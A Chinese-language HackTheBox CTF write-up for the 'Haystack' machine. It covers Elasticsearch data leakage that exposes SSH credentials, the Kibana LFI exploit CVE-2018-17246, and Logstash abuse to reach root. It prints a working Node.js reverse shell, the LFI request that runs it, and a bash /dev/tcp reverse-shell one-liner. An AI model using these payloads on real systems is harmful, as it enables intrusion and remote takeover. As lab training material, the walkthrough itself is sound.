> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/haystack-hackthebox-writeup.md). # Haystack HackTheBox 解题报告 {% embed url="" %} {% hint style="warning" %} **技能**: * ElasticSearch 枚举 * 信息泄露 * Kibana 枚举 * Kibana 利用（CVE-2018-17246） * 滥用 Logstash（权限提升） {% endhint %} ## 侦察 **工作区设置：** 通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

**VPN 连接检查** 检查 VPN 连接，以确保与目标机器的稳定通信。

**使用 Nmap 发现开放端口：** 枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件： ```bash nmap -p- --open -sS --min-rate 5000 -vvv -Pn -n 10.10.10.115 -oG allPorts ```

**使用 extractPorts 分析开放端口：** 使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板（9200）

使用 Nmap 进行端口版本扫描：使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中： ```bash nmap -sCV -p22,80,9200 10.10.10.115 -oN targeted ```

为了通过 DNS 将域名解析为 IP 地址，我们将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件：

## 暴露服务分析 ### 80 端口 - 信息泄露 **使用 ExifTool 提取元数据**

通过分析服务器上找到的图像 `strings`，我们发现了一个 Base64 编码字符串： `bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==`

解码后，这个字符串揭示了以下信息： *“茫茫人海中的针是‘key’”*.

### Elasticsearch - 信息泄露 #### 9200 端口运行着 ElasticSearch 6.4.2 版本。

{% hint style="info" %} Elasticsearch 是一个实时搜索和分析引擎，用于快速索引和搜索大量数据。它集成到 ELK 技术栈中，提供高级的数据可视化和分析能力。 {% endhint %}

通过访问 `/_cat/indices?` URL，我们会得到一个带有 UUID 的索引列表。要提取某个索引的内容，我们使用以下 URL： `http://haystack.htb:9200//_search?pretty=true&size=1000`

**使用 Curl 进行数据过滤** 使用索引 `quotes` 并针对挑战关键字进行过滤后，找到了相关信息： ```bash curl -s -X GET "http://haystack.htb:9200/quotes/_search?pretty=true&size=1000" | jq | grep -Ei "clave" ```

**解码 Base64 编码字符串** 我们得到了两个 Base64 编码字符串，解码后会揭示身份信息： ```bash echo -n "cGFzczogc3BhbmlzaC5pcy5rZXk=" | base64 -d; echo echo -n "dXNlcjogc2VjdXJpdHkg" | base64 -d; echo ```

**用户：** `security`/ **密码：** `spanish.is.key` ### SSH 连接使用获取到的凭据，我们通过 SSH 连接到目标机器并访问用户： ```bash ssh security@10.10.10.115 ```

### user.txt 标志 :)

**一旦你获得 Linux 服务器访问权限，以下是在终端中执行的命令：** ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` **这将使你工作得更加高效，最重要的是更加舒适。** ## 权限提升： ### Kibana（端口转发） **步骤 1：识别开放端口** 首先，我们使用以下命令观察内部开放端口： ```bash netstat -nltp ``` 我们注意到端口 **5601** 引起了我们的注意。

通过对其执行一个 `curl` 请求，我们从 Kibana 获取到一个 HTML 页面： {% hint style="info" %} **Kibana** 是 Elasticsearch 的开箱即用数据可视化仪表盘软件 {% endhint %}

**步骤 2：通过端口转发访问 Kibana** 我们将把服务器的内部端口 **5601** 重定向到我们的本地机器，以便通过浏览器访问它。这个重定向可以通过 SSH 使用以下命令完成： ```bash ssh -L 5601:127.0.0.1:5601 security@10.10.10.115 -N ``` 这会把目标机器的本地 5601 端口重定向到我们自己机器的 5601 端口，从而允许直接访问

**步骤 3：检查 Kibana 版本** 通过访问 `http://localhost:5601/api/status`，我们观察 Kibana 的版本号： **6.4.2**。该版本存在一个 **本地文件包含（LFI）** 攻击漏洞，识别为 **CVE-2018-17246**.

### Kibana 利用（CVE-2018-17246） {% embed url="" %} **步骤 4：利用该漏洞** 为了利用这个漏洞，我们将创建一个 JavaScript 文件来实现反向 shell。在 `/tmp` 目标机器的 `rev.js` 并使用以下代码：

function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(443, "10.10.14.24", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // 防止 Node.js 应用程序崩溃
})();

这个脚本将会在端口 **443** 上与你的机器建立连接，以打开一个 shell。 **步骤 5：将流重定向到文件** 然后将该流重定向到 `/dev/shm/rev.js` 文件，使用以下命令： ```bash curl -s -X GET "http://localhost:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../dev/shm/rev.js" ``` **步骤 6：在端口上监听反向 shell** 在你的机器上，启动一个监听器，监听端口 **443** 以捕获反向 shell： ```bash nc -nlvp 443 ``` 一旦登录，你就会在目标机器上获得一个 shell，从而可以进行权限提升。

## 滥用 Logstash 我们搜索所有可由用户访问的文件 `kibana`: ```bash find / -user kibana 2>/dev/null | grep -vE "usr|var|proc" ```

通过访问 Logstash，我们发现了三个配置文件： * `filter.conf` * `input.conf` * `output.conf`

{% hint style="warning" %} 总之，Logstash 运行着一个 cron 任务，每 10 秒检查一次是否存在名为 `logstash_*` 的文件，位于 `/opt/kibana/` 目录。如果找到匹配文件并且其中包含一个带有特定输入的命令，格式为： {% endhint %} `"message" => "Run/scommand/s:/s+%{GREEDYDATA:command}"`

为了利用这个漏洞，我们创建一个名为 `logstash_exec` 在 `/opt/kibana/` 目录中，内容如下： ```bash bash -i >& /dev/tcp/10.10.14.7/4444 0>&1 ``` 接下来，我们在 4444 端口上监听，并获取 root 访问权限。

### root 的 flag :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/haystack-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.